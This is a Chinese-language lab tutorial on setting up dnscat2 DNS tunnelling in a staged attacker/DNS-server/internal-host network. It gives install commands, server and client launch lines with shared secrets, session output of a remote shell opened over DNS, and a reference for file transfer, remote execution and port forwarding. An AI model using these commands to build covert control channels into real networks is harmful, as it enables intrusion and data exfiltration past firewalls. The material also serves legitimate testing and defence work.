Dnscat2隧道
0x01 前言
DNS是用来做域名解析的,是连接互联网的关键,故即使是企业内网,在防火墙高度关闭下,也有着很好的连通性,但是黑客却可以通过将其他协议的内容封装再DNS协议中,然后通过DNS请求和响应来传输数据和完成控制。
0x02 DNS隧道的方式
目前DNS隧道目前按照连接方式来分:直连隧道和中继隧道。
直连隧道:用户直接和控制服务器通过DNS连接,由于直连不经过其他DNS服务器,所以速度快,但是很多用户是对DNS服务器是有配置要求的,只能配置特定的服务器,配置其他的DNS服务器不准许;另外这种方式由于直接连接的,很容易暴漏攻击服务器。
中继隧道:利用DNS迭代查询方式,中间通过多个DNS服务器的跳转,跳转到最终的控制机,整个解析过程更长,所以性能没有直连好,还要防止DNS缓存。
在两种DNS 隧道中,用的最多的是中继方式,能让DNS服务器做递归查询,则需要每次查询均采用不同域名的,一句话是每次采用新域名的方式来保证走DNS查询,有较高的隐蔽性。
同时在大多数渗透场景中服务器端是无法连接到内网客户端的,因为防火墙或NAT内网原因,所以多是通过客户端定时连接服务器端来保持状态。
本次实验中,我们的关注点在Dnscat2所搭建的DNS隧道,故不作方式上的研究。
0x03 整体环境
本次我们采用攻击机-Windows DNS服务器-内网机
,由于是DNS隧道,故防火墙全开并不受影响。
攻击机Kali
IP:10.10.10.10
DNS:10.10.10.100
Windows Service DNS服务器:
域名:www.qianxin.com IN NS ns.baidu.com ns.baidu.com IN A 10.10.10.20
内网机Kali:已开启防火墙
IP:10.10.10.20
DNS:10.10.10.100
0x04 安装部署
服务端配置
安装ruby,下载dnscat2,配置服务端依赖环境,通过ruby ./dnscat2.rb
测试是否安装成功。
#linux下服务器端安装
#安装ruby
yum install ruby #服务器端为ruby开发,所以需要先安装ruby才可以运行
git clone https://github.com/iagox86/dnscat2.git /opt/DNSCAT2/ #下载
cd dnscat2/server/ #进入服务端目录
gem install bundler #安装bindle捆绑程序
sudo bundle install #bundle运行限制在非root用户下,不过可以sudo进行root下安装
ruby ./dnscat2.rb
如果不以root用户身份运行它,则可能无法侦听UDP / 53(可以使用--dnsport进行更改)。如果是这样,您会看到一条错误消息。
客户端配置
编译客户端应该非常简单-只需编译make / gcc
(对于Linux)或Cygwin或Microsoft Visual Studio(对于Windows)即可。这是Linux上的命令:
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/client/
make #编译
./dnscat 测试
到这里的话,服务端和客户端基本上都配置好了,不过部分环境可能会出现依赖缺少的情况,通过以下命令可以补全
#缺了不少库采用以下方式安装
gem install ecdsa
gem install sha3
gem install salsa20
gem install trollop
gem install trollop
0x05 操作使用
首先,先启动服务端,服务端会进行监听端口
ruby ./dnscat2.rb ns.baidu.com --secret=hopeamor --no-cache
语言 程序 委派域名 密码
再启动客户端,此处先启动同样可行,不过需要注意的是–dns server=www.baidu.com
不可以填写成ns.baidu.com
,这里的参数是解析dns权威服务器,而不是上级委派服务器。
./dnscat --dns server=www.baidu.com --secret=hopeamor
程序
接下来,我们在服务端输入如下命令即可
#进入交互状态
session -i 1
#输入shell进入交互
command (localhost.localdomain) 1> shell
Sent request to execute a shell
command (localhost.localdomain) 1> New window created: 2
Shell session created!
#看下shell信息
dnscat2> windows
0 :: main [active]
crypto-debug :: Debug window for crypto stuff [*]
dns1 :: DNS Driver running on 0.0.0.0:53 domains = [*]
1 :: command (localhost.localdomain) [encrypted and verified]
2 :: sh (localhost.localdomain) [encrypted and verified] [*]
#切换到shell
dnscat2> session -i 2
New window created: 2
history_size (session) => 1000
Session 2 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)
This is a console session!
#输入命令:
sh (localhost.localdomain) 2> pwd
sh (localhost.localdomain) 2> /home/test/dns2cat/dnscat2/client
这时已经完成了连接,跳转至客户端可以看到已经成功连接上了。
我们在服务端输入ifconfig
进行测试,可以看到客户端信息,当然,可以做很多事情。
连接之后有诸多命令,以下记录了各个命令的使用,在command
中使用?
调出帮助。
quit(退出控制台)
kill <id>(中断通道)
set(设置,比如设置security=open)
windows(列举出所有的通道)
window -i <id>(连接某个通道)或者使用session -i <id>
clear(清屏)
delay(修改远程会话超时时间)
exec(执行远程机上的程序)
shell(得到一个反弹shell,此处必须在1::command(kali)中使用)
download/upload(两端之间上传下载文件)
supend(返回到上一层,快捷键ctrl+z即可)
listen <本地端口> <控制端IP/127.0.0.1>:<端口>(端口转发,此处)(此处必须在1::command(kali)中使用)
加注:
本人在使用时,配置好的NS域名却在数据中发现走的是直连模式,也就是攻击机到受害机的DNS协议,结果发现是客户端命令用的直连模式,此处使用中继命令即可,不同的是直连命令下,只能只有ip或a解析,但中继模式下却能进行ns解析的二级域名,并且直连和中继是互通的。
服务端命令:
#启动
sudo ruby./dnscat2.rb ns.abc.com --secret=123456 #方式1【常用】中继模式
sudo ruby./dnscat2.rb --dns server=127.0.0.1,port=533,type=TXT --secret=123456 #方式2直连模式
sudo ruby./dnscat2.rb abc.com --secret=123456 --security=open --no-cache #方式3中继
客户端命令:
dnscat --secret=123456 abc.com #对应 方式1中继模式
dnscat --dns server=<your dnscat2 server ip>,port=553,type=TXT #对应 方式2,注意使用--dns选项时,port不可省,否则可能连不上,直连模式
–secret 定义了通讯密码。
两端使用时,均需跟上该密码,可防止中间人攻击。如果不加,dnscat2会生成一个随机字符串,记得拷贝下来在启动客户端时使用。
同时服务端在运行时,也可通过set secret=<new value>来动态改变
–security 规定了安全级别
默认情况下,客户端和服务器都支持并会尝试加密。Open表示服务端允许客户端不加密,这样,客户端就可以通过传递–no-encryption参数来禁用加密。当然也可以在编译时,就禁用客户端加密:make nocrypto。
同时服务端在运行时,也可通过set security=open来动态改变。
–no-cache 禁止缓存
使用powershell-dnscat2客户端时,务必在运行服务器时添加无缓存选项,因为与dnscat2服务器的caching模式不兼容。